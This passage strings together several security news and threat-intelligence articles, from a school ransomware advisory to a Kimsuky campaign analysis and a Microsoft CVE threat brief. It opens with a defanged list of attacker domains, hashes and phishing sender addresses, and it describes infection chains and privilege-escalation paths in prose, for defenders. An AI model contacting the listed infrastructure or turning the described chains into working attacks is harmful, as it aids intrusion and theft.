Payload Domain December 2021
hxxp://mailgunltd[.
]com
Payload Domain December 2021
hxxp://officelivecloud[.
]com
Payload Domain December 2021
hxxp://visitaustriaislands[.
]com
Command and Control Domain May 2022
hxxp://outlookfnd[.
]com
Command and Control Domain June 2022
hxxp://infntio[.
]com/save/user.php
Payload URL March 2022
hxxp://advflat[.
]com/save/user.php
Command and Control URL March 2022
hxxp://pngdoma[.
]com/admin/index.php
Command and Control URL March 2022
hxxp://goalrom[.
]com/admin/settings.php
Command and Control URL March 2022
hxxp://elitefocuc[.
]com/save/user.php
Command and Control URL March 2022
hxxp://hubflash[.
]co/configuration.php
Command and Control URL April 2022
bookingitnow[.
]org
Command and Control Domain
bookaustriavisit[.
]com
Command and Control Domain
moretraveladv[.
]com
Command and Control Domain
estoniaforall[.
]com
Command and Control Domain
ef1a660ee8b11bbcf681e8934c5f16e4a249ba214d743bbf8b1f8043296b6ffc
Word Doc SHA256 June 2022
da642cc233ea3595d8aaf8daf6129c59682b19462d5d5abb1f494042d4c044f4
Word Doc SHA256 Sample June 2022
53ade63ba9938fd97542a0a725d82045f362766f24f0b1f414f4693d9919f631
LNK SHA256 Sample March 2022
f0a002c7d2174f2a022d0dfdb0d83973c1dd96c4db86a2b687d14561ab564daa
LNK SHA256 Sample March 2022
53ade63ba9938fd97542a0a725d82045f362766f24f0b1f414f4693d9919f631
Word Doc SHA256 Sample December 2021
649183519d59ea332d687a01c37040b91da69232aadb0c1215c36a5b87ad2ec7
Word Doc SHA256 Sample December 2021
viktoria.helle79@zingamail[.
]uk
Sender Email March 2022
paul@christiesrealestate[.
]uk
Sender Email December 2021
sherry@schalapartners[.
]com
Sender Email March 2022
arfeuille19@gmail[.
]com
Sender Email June 2022
arole@delaware-north[.
]com
Sender Email May 2022
hxxps://onedrive.live[.
]com/download?resid=
680BC877518B4D11%21388&authkey=!AMMjaIOZSltiS_Q
OneDrive URL March 2022
hxxps://onedrive.live[.
]com/download?resid=
680BC877518B4D11!531&authkey=!ADr0ziYEPBJJK9w
OneDrive URL March 2022
hxxps://onedrive.live[.
]com/download?resid=
680BC877518B4D11!426&authkey=!AB60IPFY2E-XMXs
OneDrive URL March 2022
FBI warns of Vice Society ransomware attacks on school districts
FBI, CISA, and MS-ISAC warned today of U.S. school districts being increasingly targeted by the Vice Society ransomware group, with more attacks expected after the start of the new school year.
"The FBI, CISA, and the MS-ISAC have recently observed Vice Society actors disproportionately targeting the education sector with ransomware attacks," today's joint advisory reads.
They also "anticipate attacks may increase as the 2022/2023 school year begins and criminal ransomware groups perceive opportunities for successful attacks."
The joint advisory also provides network defenders with Vice Society indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) observed by the FBI in attacks as recently as September 2022.
"The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents," the advisory adds.
Attacks on the education sector, mainly targeting kindergarten through K-12 institutions, have a massive impact on their operations, ranging from restricted access to networks and data, delayed exams, and canceled school days to the theft of personal information belonging to students and school staff.
One such attack was disclosed today by Los Angeles Unified (LAUSD), the second largest school district in the U.S., after a ransomware attack took down some of its Information Technology (IT) systems over the weekend—LAUSD hasn't yet attributed the attack to a specific ransomware gang.
Victims asked to share attack details with the FBI
Network defenders are advised to take measures to defend against and limit the impact of ransomware attacks, including prioritizing and remediating known exploited vulnerabilities, training their users to recognize and report phishing attempts commonly used as initial attack vectors, and enabling and enforcing multifactor authentication.
The FBI also asked victims to share logs and other information linked to the attacks.
"The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Vice Society actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file," the federal law enforcement agency said.
Vice Society is a threat group known for deploying multiple ransomware strains on their victims' networks, such as Hello Kitty/Five Hands and Zeppelin ransomware.
They also steal sensitive data from compromised systems before encryption and later use it for double-extortion, threatening their victims to leak the stolen data if their ransom demand isn't paid.
One of the group's recent victims is the Austrian Medical University of Innsbruck which was forced to reset all 3,400 students' and 2,200 employees' account passwords after severe IT service disruption and data stolen in the attack being leaked on the gang's data leak site.
Emsisoft threat analyst Brett Callow said that ransomware attacks had disrupted education at roughly 1,000 universities, colleges, and schools during 2021.
In November, U.S.
Senators Maggie Hassan, Kyrsten Sinema, Jacky Rosen, and Chris Van Hollen urged the U.S. Department of Education and the Department of Homeland Security (DHS) to strengthen cybersecurity protections at K-12 schools to keep up with this massive wave of attacks.
US govt sues Kochava for selling sensitive geolocation data
The U.S. Federal Trade Commission (FTC) announced today that it filed a lawsuit against Idaho-based location data broker Kochava for selling sensitive and precise geolocation data (in meters) collected from hundreds of millions of mobile devices.
As the consumer protection watchdog said, Kochava's clients could use this data to identify and keep track of mobile users' movements to and from various locations such as reproductive health, mental care, and addiction recovery facilities or shelters for domestic violence survivors or the homeless.
The company provides access to consumers' location data through a data feed its clients can access via online data marketplaces after paying for a $25,000 subscription (a free sample dataset was also available until June 2022, containing info collected over the previous seven days).
According to the complaint [PDF], Kochava promoted its data feed to its clients on the Amazon Web Services (AWS) Marketplace as capable of providing "rich geo data spanning billions of devices globally."
The data broker also claimed that its location data feed "delivers raw latitude/longitude data with volumes around 94B+ geo transactions per month, 125 million monthly active users, and 35 million daily active users, on average observing more than 90 daily transactions per device."
"The FTC alleges that by selling data tracking people, Kochava is enabling others to identify individuals and exposing them to threats of stigma, stalking, discrimination, job loss, and even physical violence," the agency said today in a press release.
"In fact, the data broker has touted identifying households as one of the possible uses of its data in some marketing materials.
"The FTC's lawsuit seeks to halt Kochava's sale of sensitive geolocation data and require the company to delete the sensitive geolocation information it has collected."
Making such sensitive information available for purchases or even publicly available online to anyone requesting a free sample can lead to terrible consequences in light of the recent U.S. Supreme Court's decision to end constitutional abortion rights on June 24 [PDF] in eight U.S. states (with Tennessee, Texas, North Dakota, and Idaho joining their ranks last week).
The "Privacy Block"
Today's announcement comes after the location data broker also sued the FTC (complaint filed on August 12 is available here) for overreaching when announcing this lawsuit earlier this month.
Kochava said in a press release (published one day before filing the complaint against the FTC) that it would introduce "Privacy Block", a "privacy-first approach to block health services locations from the Kochava Collective marketplace" to address the privacy issues pointed out by the U.S. consumer watchdog.
The FTC announced earlier in August that it's exploring new rules to crack down on businesses behind mass commercial surveillance where consumers' information is collected, analyzed, and monetized.
In July, the agency also warned businesses that it would enforce the law if they share or illegally use consumers' highly sensitive information, including health data.
"Where consumers seek out health care, receive counseling, or celebrate their faith is private information that shouldn't be sold to the highest bidder," added Samuel Levine, Director of the FTC's Bureau of Consumer Protection.
"The FTC is taking Kochava to court to protect people's privacy and halt the sale of their sensitive geolocation information."
Update: Added more info on Kochava's lawsuit against the FTC.
Fake 'Cthulhu World' P2E project used to push info-stealing malware
Hackers have created a fake 'Cthulhu World' play-to-earn community, including websites, Discord groups, social accounts, and a Medium developer site, to distribute the Raccoon Stealer, AsyncRAT, and RedLine password-stealing malware infections on unsuspecting victims.
As play-to-earn games rise in popularity, scammers and threat actors increasingly target these new platforms for malicious activities.
Such is the case with a new malware distribution campaign discovered by cybersecurity researcher iamdeadlyz, where threat actors created a whole project to promote a fake play-to-earn game called Cthulhu World.
To promote the "project", threat actors are sending direct messages to users on Twitter asking if they would like to perform a test of their new game.
In return for testing and promoting the game, iamdeadlyz says that the threat actors promise a reward in Ethereum.
When visiting the cthulhu-world.com site, which is now down, users are greeted with a well-designed website, containing information about the project and an interactive map of the game's environments.
However, this site appears to be a clone of the legitimate Alchemic World project, which has been warning users to stay away from the fake project.
The Cthulhu World website also has a big difference; when a user clicks on the arrow in the upper right-hand corner of the site, the visitor will bring them to a webpage asking for a code to download the "alpha" test of the project.
The threat actors share these codes with prospective victims as part of their DM conversations on Twitter.
A list of the access codes is also found in the site's source code, as shown below.
epending on the code entered, one of three files will be downloaded from DropBox.
Each of the three files installs a different malware, likely allowing the threat actors to pick and choose how they wish to target a particular user.
The three malware identified by AnyRun installs are AsyncRAT, RedLine Stealer, and Raccoon Stealer.
The website for Cthulhu World is currently down, but their Discord remains active.
It is unclear who on this Discord is aware that the site is distributing malware, but some users clearly believe this is a legitimate project.
As RedLine Stealer and Raccoon Stealer are known to steal cryptocurrency wallets, it is not surprising to find that some victims have already had their wallets cleaned out by this scam.
If you have visited Cthulhu-world.com and downloaded any of their software, you should immediately run an antivirus scan on your computer and remove anything detected.
Furthermore, as these malware infections steal your saved passwords, cookies, and crypto wallets, you should reset all passwords and create new wallets to import your cryptocurrency.
Ultimately, though, the wisest course of action is to reinstall your computer from scratch, as these malware infections provide full access to an infected computer, and other undetected malware may still be installed.
Twilio breach let hackers gain access to Authy 2FA accounts
Twilio’s investigation into the attack on August 4 reveals that hackers gained access to some Authy user accounts and registered unauthorized devices.
Authy is a two-factor authentication (2FA) service from Twilio that allows users to secure their online accounts where the feature is supported by identifying a second time via a dedicated app after typing in the login credentials.
When logging into an account with 2FA enabled, Authy will provide an additional one-time passcode required to login.
This protects the account from being accessed even if the login credentials are compromised.
Because of this, it is vital to secure your Authy account, as if hackers gain access to it, they can logon to your compromised account.
The service is highly popular, rivaling Google’s Authenticator, and provides support for multiple devices, synchronizing the generated 2FA tokens across registered devices.
Compromised Authy accounts alerted
On Thursday, Twilio announced that the threat actor that gained access to its infrastructure on August 4 has also accessed accounts of 93 Authy users and linked devices to those accounts.
Twilio underlines that the compromised Authy accounts belong to individual users and represent a small fraction of the total number of 75 million users.
However, for those 93 users, the hackers would have been able to access the 2FA codes generated for the Authy users' accounts.
It is unclear if the 93 Authy users were specifically targeted by the hackers.
The company says that it has removed the unauthorized devices from the compromised accounts and has contacted the affected users to provide instructions on how to protect their accounts:
Review any linked account(s) for suspicious activity and work with their account provider(s) if they have any concerns.
Review all devices tied to their Authy account and remove any additional devices they don't recognize.
To prevent the addition of unauthorized devices, we recommend that users add a backup device and disable “Allow Multi-device” in the Authy application.
Users can re-enable “Allow Multi-device” to add new devices at any time.
Specific steps can be found here.
The cloud communications company also says that its investigation identified 163 Twilio users whose data was accessed by the intruders for a limited period.
They also received notifications about the unauthorized access.
The Twilio data breach appears to be part of a larger campaign from hackers that targeted at least 130 organizations, among them MailChimp, Klaviyo, and Cloudflare.
In previous updates on the incident, Twilio said that the breach impacted 125 customers, as hackers were able to access their authentication information.
AdGuard’s new ad blocker struggles with Google’s Manifest v3 rules
The first ad blocker extension for Chrome that is compatible with Google's Manifest V3 is now available.
An extension manifest outlines the permissions and abilities a developer includes in an extension for Chrome browser.
In version 3 of the manifest, Google changes the webRequest API to block extensions from modifying the data before it's shown to the user, which renders ad-blockers useless.
The new ad-blocking extension that complies with Manifest V3 requirements comes from AdGuard, a developer of ad-blocking software.
The extension is in an experimental stage.
It was released to help identify margins for improvement and solutions to limitations.
Even so, it highlights the restricting nature of Manifest V3.
In the release announcement, AdGuard analyzes the workarounds they had to implement to comply to the latest requirements, the problems that still exist, and ideas for making the final version as functional as possible.
Manifest V3 impact
Manifest V3 was first announced in 2020 and became available with the release of Chrome 88, which came out in January 2021.
The Chrome Web Store stopped accepting extensions built on Manifest V2 in January 2022.
All extensions using the previous version will stop working by January 2023.
From Google's perspective, Manifest V3 comes to enhance user privacy and security by:
Limiting extension access to user network requests.
Forcing authors to include all functionality within the extension, ending the practice of hosting code remotely.
Moving network request modifications from the extensions to the browser.
Replacing background pages with dedicated service workers to improve browser performance.
Inevitably, the above features introduce severe limitations to special-purpose extensions like ad-blockers.
Limited ad-blocking actions
The new AdGuard extension is technically weaker than its predecessor.
According to the vendor, compliance to the new protocol is the only reason for this backward step.
First, the new extension has to abide by a limit of 30,000 filtering rules and 5,000 dynamic rules set by the users themselves.
If the user has installed multiple ad-blocking extensions on their browser, a global limit of 330,000 filtering rules is applied, so AdGuard might have even smaller leeway.
The second problem is the inability to load rules to the filtering engine from the extension's server.
AdGuard now has to define a set of declarative rules and let Chrome handle the network request filtering process.
Because the new syntax for the rules is very limiting, not all existing rules can be converted, including Cookie rules that block certain trackers.
"negative lookahead" is often used in filters.
A quick search showed that there are currently 43 rules with this expression in AdGuard filters.
At first glance, this is not many, but keep in mind that most of these rules are supposed to work on many different domains, so I'd say this limitation alone cripples ad blocking on 1000+ websites.
- AdGuard
The inability to refresh rules directly from the server will also cause delays in updating them and responding to new blocking requirements from website changes.
AdGuard estimates these rule updates will now be "several days" apart.
The third issue ad-blockers face with Manifest V3 is that users can no longer look at the filtering logs (present in manifest V2) because the browser is now blocking the ads.
The only workaround is to unpack and install the extension in Developer Mode, which gives the software access to debugging options required to accept statistical data from the browser.
Finally, replacing the background page with a service worker causes performance issues, as the latter goes dormant when there's no browser activity.
Once a new page loads, the worker requires up to two seconds to wake up.
While the declarative rules will still work to block the ads, there's a delay in applying the cosmetic filter to make the ads disappear.
"Although the experimental extension is not as effective as its predecessor, most users won't feel the difference," says AdGuard.
"The only thing you might notice is ad flickering due to the lag in the application of cosmetic rules," the developer adds.
Testing the experimental version of AdGuard is possible by installing it from the Chrome Web Store or by getting the source code from GitHub, where developers expect user feedback.
he Sound of Malware
By Christiaan Beek · June 23, 2022
Do, a debugger, you often use
Re, a reverse engineer
Mi, a name, I call myself
Anyways….
By now, you must be very thankful I reminded you of this famous song; I am sure it will be stuck in your head the rest of the day.
You’re welcome!
Confused on how this relates to malware analysis?
In the world of malware and reversing, there are tools, scripts, and methods we use to investigate the relationship between malware families, detect new versions and understand differences across malware samples.
A great example of why we are doing this is to understand if a current detection log written is still working on a newer variant of the malware.
What did the adversary change in the code and will that impact our protection towards our customers?
One approach is to compare older and newer samples to figure out which components are always present in both samples.
In some cases, we get ambitious and use a bulk number of samples that are, for example classified as ransomware, and search for common denominators in the code to help identify new samples which fit the classification of belonging to ransomware.
Another classic method is to perform code comparison is binary diffing.
Using BinDiff injunction with IDA Pro, we create two databases of the malware samples and start to compare the two.
An overall comparison score is generated, and it will demonstrate the similarities which exists between samples as shown in Figure 1.
Figure 1: BinDiff example
Figure 1: BinDiff example
In Figure 1, this dashboard from BinDiff, demonstrates the two sample have a similarity of 52 percent.
Drilling more down into this dashboard, the differences and similarities are split up in several categories.
It is also possible to visualize the functions for example, compare and spot the exact difference.
Adversaries tend to reuse code and optimize certain parts in newer releases.
The important question is where do these similarities exist?
In the ‘generic’ code elements, or in the components that were used to create this malware?
There are many other methods to compare malware such as fuzzy-hashing, extracting code-blocks and then comparing etc.
Recently in our blog on DPRK Ransomware families, we used graph-technology and the Hilbert Curve mapping to discover similarities shown in Figure 2.
Figure 2: Hilbert Curve mapping
Figure 2: Hilbert Curve mapping
We have frequently used code comparisons and visualizations but would it be possible to compare malware samples using a more abstract technique?
What about sound?
A novel technique
Music, sound, and especially analog synths have always been a fascinating topic for me.
As a veteran from the Dutch Navy, I had the pleasure to spend a week on a submarine listening to sonar sounds, seeing frequency waterfalls and filtering out ships versus animals; it was a phenomenal experience.
Combining all of this with the desire to investigate and innovate new comparison methods, I pondered would it be possible to compare malware samples based on their sound?
To start, we took two samples of the Conti ransomware for Linux, one released in May, the other one in June.
From a BinDiff and code comparison perspective, there were minimal differences and an overall score of 99.8 percent equality.
Would our experiment with sound show the same?
First, we had to transfer the sample into an audio-file, so this can be played and used for frequency analysis.
We used the ‘cat’ command from the Linux command-line and sent it through an audio player to generate the sound:
>> cat malwarefile.bin | mplayer -cache 1024 -quiet -rawaudio samplesize =1: channels=1 :rate=8000 -demuxer rawaudio -
This will make some noisy audio, similar to a dial up modem trying to connect to the Internet using a telephone line.
Rerouting the audio from the headset-jack towards a mixer, the sound was recorded and exported both into the .WAV (waveform) and .MP3 audio files.
Your browser does not support the audio element.
Conti May Recording
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Conti June Recording
Loading the two .WAV samples generated from the Conti ransomware Linux variants in one of our used audio-analysis tools (Audacity and Sonic LineUp), we saw the spectrogram in Figure 3:
Figure 3: The sound of Conti
Figure 3: The sound of Conti
Studying the above picture, one can spot that while they are almost identical, there is a minor difference at the end of the sound-profile of the June sample.
This matches what was discovered during binary code analysis.
Now, onto the next experiment.
From our investigation on DPRK ransomware families, we discovered that the VHD ransomware sample and the BEAF sample had some code similarities but also a lot of differences.
Would that also be possible to prove with sound?
Again, we created the required audio files for both samples.
Since the binary malware samples were different in file size, the length of recording would be different for each sample.
This was reflected when we loaded our audio files into Audacity.
Figure 4: DPRK Ransomware sound
Figure 4: DPRK Ransomware sound
We see first the difference in length, but also the similarities in the waveforms stand out.
Using Sonic LineUp, we tried to line up the wave and frequency spectrums to align them as best as possible.
Figure 5: Spectrum diffing
Figure 5: Spectrum diffing
Not only visually, but also when we conduct a frequency plot-spectrum analysis of the two audio samples, the differences clearly present themselves as seen in Figure 6.
Figure 6: Frequency plot spectrum
Figure 6: Frequency plot spectrum
The VHD plot spectrum displays a lot more activity in the ranges above 7000Hz than BEAF as one example of identifiable differences.
Converting malware samples to sound to compare them was an interesting and worthy learning experience.
It also proved things we found with traditional code analysis or visual analysis were also seen in audio analysis.
Honestly, we did not expect the results of this fun experiment in proving what we observed during traditional code similarity/comparison research methods.
It was remarkable to discover that in the Conti case, where we observed minimal changes from a traditional approach, that the sound conversion and frequency analysis demonstrated the same findings.
Wouldn’t it be nice if instead of asking for ransom, the ransomware gangs would start making music of their code for us to enjoy on Spotify or Apple Music?
We gave it a try to create the first version of Conti ransomware gang Techno where we combined the generated audio of the Conti code and combined it with some tracks using Garageband.
Check it out and tell us what you think!
I’m curious if there’s more creative talent out there that can convert code to audio and make some nice music with it.
Upload your mix and share it in our SoundCloud channel so we can add it to the playlist.
How 'Kimsuky' hackers ensure their malware only reach valid targets
The North Korean 'Kimsuky' threat actors are going to great lengths to ensure that their malicious payloads are only downloaded by valid targets and not on the systems of security researchers.
According to a Kaspersky report published today, the threat group has been employing new techniques to filter out invalid download requests since the start of 2022, when the group launched a new campaign against various targets in the Korean peninsula.
The new safeguards implemented by Kimsuky are so effective that Kaspersky reports an inability to acquire the final payloads even after they are successfully connected to the threat actor’s command and control server.
A multi-stage validation scheme
The attacks spotted by Kaspersky begin with a phishing email sent to politicians, diplomats, university professors, and journalists in North and South Korea.
Kaspersky was able to compile a list of potential targets thanks to retrieved C2 scripts containing partial email addresses of targets.
The emails contain a link that takes victims to a first-stage C2 server that checks and verifies a few parameters before delivering a malicious document.
If the visitor doesn’t match the list of targets, they are served an innocuous document.
The parameters include the visitor’s email address, OS (Windows is valid), and the file “[who].txt” that’s dropped by the second-stage server.
At the same time, the visitor’s IP address is forwarded to the second-stage C2 server as a subsequent checking parameter.
The document dropped by the first-stage C2 contains a malicious macro that connects the victim to the second-stage C2, fetches the next-stage payload, and runs it with the mshta.exe process.
The payload is an .HTA file that also creates a scheduled task for auto-execution.
Its function is to profile the victim by checking ProgramFiles folder paths, AV name, username, OS version, MS Office version, .NET framework version, and more.
The fingerprint result is stored in a string ("chnome"), a copy is sent to the C2, and a new payload is fetched and registered with a persistence mechanism.
The next payload is a VBS file that can take the victim to a legitimate blog or, if they’re valid targets, take them to the next payload-download phase.
“Interestingly, this C2 script generates a blog address based on the victim’s IP address.
After calculating the MD5 hash of the victim’s IP address, it cuts off the last 20 characters and turns it into a blog address,” details Kaspersky.
“The author’s intent here is to operate a dedicated fake blog for each victim, thereby decreasing the exposure of their malware and infrastructure.”
This is when the victim’s system is checked for the existence of the unusual “chnome” string, which was purposefully misspelled to serve as a unique validator that still doesn’t raise suspicions.
Unfortunately, Kaspersky couldn’t continue from here and fetch the next stage payload, so whether that would be the final one or if there were most validation steps remains unknown.
Kimsuky is a very sophisticated threat actor recently seen deploying custom malware and using Google Chrome extensions to steal emails from victims.
The campaign highlighted by Kaspersky illustrates the elaborate techniques employed by the Korean hackers to hinder analysis and make their tracking much harder.
Threat Brief: Microsoft Critical Vulnerabilities (CVE-2022-26809, CVE-2022-26923, CVE-2022-26925)
Executive Summary
Microsoft introduced patches for several critical vulnerabilities in their April and May 2022 security updates, including the following vulnerabilities:
CVE-2022-26809: An unauthorized attacker can exploit this vulnerability by sending a specially crafted Remote Procedure Call (RPC) to remotely execute arbitrary code on the vulnerable device.
CVE-2022-26923: A low-privileged user can escalate privilege to a domain administrator in a default Active Directory environment with the “Active Directory Certificate Services” server role installed.
CVE-2022-26925: Unauthenticated attackers can remotely exploit and force domain controllers to authenticate them via the Windows NT LAN Manager (NTLM) security protocol.
We highly recommend that customers apply these security updates to address these issues.
Palo Alto Networks customers receive protections from these vulnerabilities through the Next-Generation Firewall with a Threat Prevention subscription, Cortex XDR and other products.
Mitigations for CVE-2022-26809, CVE-2022-26923, CVE-2022-26925
Microsoft released patches for CVE-2022-26809, CVE-2022-26923 and CVE-2022-26925.
All three vulnerabilities and exploit details are publicly available, and CVE-2022-26925 was detected as being exploited in the wild.
We strongly recommend patching them as soon as possible.
Exploits
CVE-2022-26809 – RPC Remote Code Execution Vulnerability
In Microsoft’s April security update, there was a severe RPC vulnerability that could lead to remote code execution.
This would provide an adversary with a remote attack surface, allowing them to attack the Windows SMB service remotely and execute code.
This threat is not limited to Windows SMB service and may affect other services using the vulnerable RPC component.
On May 1, 2022, we observed a public proof of concept (PoC) published on GitHub.
The researcher conducted analysis of CVE-2022-26809 and created the PoC to trigger the vulnerable function OSF_SCALL::GetCoalescedBuffer.
The PoC is created based on an RPC sample code, Hello, from Microsoft.
Since all interfaces for programs using RPC must be defined in Microsoft Interface Definition Language (MIDL) and compiled with the MIDL compiler, the researcher added a new pipe type and several functions in the IDL file.
This is because the server side needs to use pipe in order to trigger the vulnerability.
The related modifications are shown in Figure 1:
The PoC client utilizes impacket.dcerpc.v5.rpcrt to send the data.
Additionally, the researcher modified the packet handling logic of the rpcrt library.
Although the PoC only works on a customized RPC server and a successful exploitation of this vulnerability requires specific settings on the server side, it could be modified by an attacker to construct a feasible exploit for the default Windows service.
We strongly recommend patching CVE-2022-26809 as soon as possible.
CVE-2022-26923 – Active Directory Domain Service Privilege Escalation Vulnerability
This vulnerability allows a low-privileged user to escalate privileges to a domain administrator in a default Active Directory environment with the “Active Directory Certificate Services” server role installed.
It is a logic issue that gets a valid certificate by using a fake domain controller, dNSHostName, and then gets the domain controller privileges by authenticating the certificate to the domain controller.
Microsoft fixed CVE-2022-26923 in May’s security update but the vulnerability and exploit details are publicly available.
We strongly recommend patching it as soon as possible.
CVE-2022-26925 – Windows LSA Spoofing Vulnerability
An unauthenticated attacker could call a method on the LSARPC interface and coerce the domain controller to authenticate the attacker using NTLM.
Once the attacker gets the NTLM hash by the NTLM relay attack, the attacker can further use the leaked main controller NTLM hash to attack the system.
CVE-2022-26925 was detected as being exploited in the wild and is publicly available.
Microsoft fixed this vulnerability in May’s security update.
We strongly recommend patching it as soon as possible.
Conclusion
CVE-2022-26809 is still being actively monitored due to its potential to be exploited in widespread attacks.
Given the information currently available, this vulnerability may have a high impact in the future.
RPC is widely used by a wide variety of Windows and Windows Server versions.
Besides that, the vulnerable rpcrt4.dll is not only used by Microsoft services but also by other applications.
CVE-2022-26923 and CVE-2022-26925 exploits are publicly available, and it’s only a matter of time until those vulnerabilities are abused by attackers.
Users are encouraged to take all necessary steps to ensure they are protected against these vulnerabilities.
The Palo Alto Networks Next-Generation Firewall with a Threat Prevention subscription can block the attack traffic related to these vulnerabilities.
Industry Spotlight: Current Threat Landscape Facing Financial Services Organizations
June 15, 2022 Deborah Watson
As the Russia-Ukraine conflict continued to affect the threat landscape during the first quarter of 2022, chief information security officers (CISO) pivoted to monitoring for indicators of state-aligned activity, particularly across the financial services sector.
And as attackers’ objectives and threat methods evolved, we saw cyber criminals leverage business email compromise (BEC), access brokers and ransomware to inflict the most financial damage across all sizes and types of organizations.
In 2021, the adjusted losses from BEC alone were nearly $2.4 billion, according to the FBI.
Extensive phishing campaigns, combined with multiple threats per day distributing commodity stealers, have highlighted the importance of stolen credentials to criminal ecosystems.
For proactive CISOs, continuously assessing the threats targeting their employees and adapting security controls to reduce risk have become business-critical protection measures.
To better understand the threats that organizations in the financial services sector are facing, Proofpoint threat researchers analyzed Q1 2022 data targeting customers, looking for trends that can assist CISOs in understanding industry-specific threats.
In addition to analyzing the trends across the industry, the data was divided into four subsectors, using “breadbasket” sampling to understand the malicious messages targeting financial services.
Our researchers took it a step further and performed a deeper dive into that small percentage of malicious messages that made it to users’ mailboxes.
The results highlight the areas of residual risk CISOs should assess against their organizational controls.
Financial services threat trending: Q3 2021 through Q1 2022
For this period, the financial services threat data that Proofpoint researchers analyzed illustrated attacks using techniques to harvest multifactor authentication (MFA) tokens.
These types of attacks had a strong showing in the financial sector in January 2022 and continued to build throughout Q1.
Social engineering continued to dwarf other attack methods from a volume perspective as threat actors remain focused on user interaction for threat delivery as the path of least resistance.
On the malware front, Emotet retained the lead on the volume of emails throughout Q1 without much success in bypassing best-practice controls.
Emotet, attributed to TA 542, and other banking Trojans like TrickBot are known access brokers.
They use their malicious URLs and attachments to establish backdoor access.
Q1 saw Emotet shift in malware tactics and techniques, primarily focusing on malicious documents and thread hijacking as attackers work to diversify payloads and delivery mechanisms in their effort to bypass controls.
The overarching trend was threat actors delivering malicious content that abuses command and script interpreters to execute nefarious commands, scripts or binaries.
In contrast, TA569, also known as SocGholish, remained the most effective threat actor in financial services.
While many attackers use a multistage approach, TA569 impersonates security updates and uses redirects, resulting in ransomware.
A closer look at threats targeting financial services subsectors
Following is an overview of how attackers have been targeting financial services subsectors recently:
Banking
The good news is that threat volume doesn’t always translate to success, and the average click rate for social engineering-delivered messages declined in all financial services subsectors except for banking.
Within banking, the average click rate on delivered messages surged in Q1 to 11% of delivered messages, with a five times increase in threat volume for Excel v4 macro threats.
Some malware had more success in engaging banking employees to click on messages.
Ursnif and Formbook, for example, saw the highest success rates — 17% and 15%, respectively.
That significant percentages of banking employees are taking the bait indicates a need to shine a light on some additional security awareness activities in a sector that normally excels in this area.
Qbot malware produced the highest number of total clicks, followed by Emotet, with Tordal, JSSLoader and Ursnif rounding out the top five (by total clicks).
Looking at techniques, user engagement with messages leveraging process injection (Mitre ATT&CK® T1055) in Q1 2022 was eight times greater than the total in Q2 2021.
Capital markets
Capital markets led all financial sectors in terms of the total number of clicks.
Threat activity using a cluster of three techniques — obfuscation, thread hijacking and required user interaction for execution emerged in March 2022.
This trend resulted in capital markets dramatically outpacing the other financial services subsectors in malicious messages delivered.
Insurance
Attackers targeting organizations in the insurance industry were most effective at bypassing controls by using the malicious document builders EtterSilent and Tordal.
User click rates increased each month.
Campaigns spreading the EtterSilent malware targeting the insurance sector provide great examples that should be used in security awareness training and phishing simulation programs.
Tordal malware produced the highest number of total clicks overall, and the cumulative result of the malicious messages delivered in Q1 was three times higher than in Q4 2021.
Fintech
Fintech organizations also received messages when attackers used EtterSilent, Qbot and Ursnif malware.
These messages increased threefold between October and December 2021.
Click rates on these delivered messages averaged 3% in Q4 2021 and jumped significantly to 11% within fintech in Q1 2022.
Qbot and Ursnif produced the highest click rates when targeting the fintech sector.
Adaptive controls are essential for addressing residual risk
Today, CISOs in the financial services industry face unique challenges and must adapt their security strategies for the post-pandemic era.
And, as the “2022 Voice of the CISO” report from Proofpoint makes clear, the accelerated adoption of hybrid work and the impact of the Great Resignation have made improving information protection the most pressing initiative for financial services CISOs.
With the added complexity of employees working from anywhere, adaptive controls are critical.
Implementing layered security controls is a proven approach in all security domains, and adaptive controls also reduce alert fatigue while enabling the business.
In the case of email threats, security training brings awareness to targeted users, automation removes malicious messages identified post-delivery, virtual isolation contains threats, and disabling unneeded scripting components and macro use where possible reduces residual risk further.
Download the “2022 Voice of the CISO” report from Proofpoint to learn more about how the CISO’s role is changing and how CISOs are coping with demands that are both increasing and evolving.
For the latest CISO news and resources, check out the Proofpoint CISO Hub.
Second largest U.S. school district LAUSD hit by ransomware
Los Angeles Unified (LAUSD), the second largest school district in the U.S., disclosed that a ransomware attack hit its Information Technology (IT) systems over the weekend.
LAUSD enrolls more than 640,000 students, spanning from kindergarten through 12th grade.
It includes Los Angeles and 31 smaller municipalities, as well as several Los Angeles County unincorporated sections.
The school district first revealed districtwide technical issues after discovering that the attackers disrupted access to LAUSD systems, including email servers.
Roughly seven hours later, it confirmed that this was a ransomware attack, tagging the incident as "criminal in nature."
LAUSD has reported the incident and is working with law enforcement and federal agencies (the FBI and CISA) as part of an ongoing investigation and incident response.
"After the District contacted officials over the holiday weekend, the White House brought together the Department of Education, the Federal Bureau of Investigation (FBI) and the Department of Homeland Security's Cybersecurity and Infrastructure Security Agency (CISA) to provide rapid, incident response support to Los Angeles Unified, building on the immediate support by local law enforcement agencies," the district said.
"At the District's request, agencies marshaled significant resources to assess, protect and advise Los Angeles Unified's response, as well as future planned mitigation protocols."
Even though the attack disrupted LAUSD infrastructure, the district says schools will still open today while it works to restore impacted servers, with some expected delays affecting some services.
"While we do not expect major technical issues that will prevent Los Angeles Unified from providing instruction and transportation, food or Beyond the Bell services, business operations may be delayed or modified," LAUSD added.
"Based on a preliminary analysis of critical business systems, employee healthcare and payroll are not impacted, nor has the cyber incident impacted safety and emergency mechanisms in place at schools."
The district added that instruction and staffing, as well as payroll processing, were undisrupted by this incident.
In November, the U.S. Department of Education and the Department of Homeland Security (DHS) were urged to strengthen cybersecurity protections at K-12 schools nationwide to keep up with a massive and ongoing wave of attacks.
The call for action came from U.S.
Senators Maggie Hassan, Kyrsten Sinema, Jacky Rosen, and Chris Van Hollen after a Government Accountability Office (GAO) report assessing the Education Dept's current plan for addressing K-12 school threats (issued in 2010) to be significantly outdated and focusing on mitigating physical threats.
According to Emsisoft threat analyst Brett Callow, ransomware attacks have disrupted education at approximately 1,000 universities, colleges, and schools during 2021.
This number was lower than in 2020 (when 1,681 education institutions were affected), mainly because last year's ransomware attacks have hit smaller school districts.
EDR spotlight: Countering the FireEye Red Team tools leak
